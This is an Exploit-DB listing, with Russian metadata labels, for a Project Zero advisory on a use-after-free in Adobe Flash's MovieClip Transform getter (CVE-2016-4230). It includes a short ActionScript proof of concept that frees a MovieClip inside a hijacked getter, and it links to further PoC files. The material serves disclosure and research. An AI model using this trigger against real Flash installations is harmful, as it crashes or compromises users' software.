Exploit Adobe Flash - MovieClip Transform Getter Use-After-Free

[Exploiter]

EDB-ID

40311

Проверка EDB

1. Пройдено

Автор

GOOGLE SECURITY RESEARCH

Тип уязвимости

DOS

Платформа

MULTIPLE

CVE

cve-2016-4230

Дата публикации

2016-08-29

Adobe Flash - MovieClip Transform Getter Use-After-Free

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=844

There is a use-after-free in the MovieClip Transform getter. If the Transform constructor is replaced with a getter using addProperty, this getter can free the MovieClip before it is accessed. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip( "mc", 1);
var tf = flash.geom.Transform;
var g = flash.geom;
g.addProperty("Transform", func, func);
mc.f = ASnative(900, 419);
mc.f();

function func(){
	
	mc.removeMovieClip();
	
        // Fix heap
	}


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40311.zip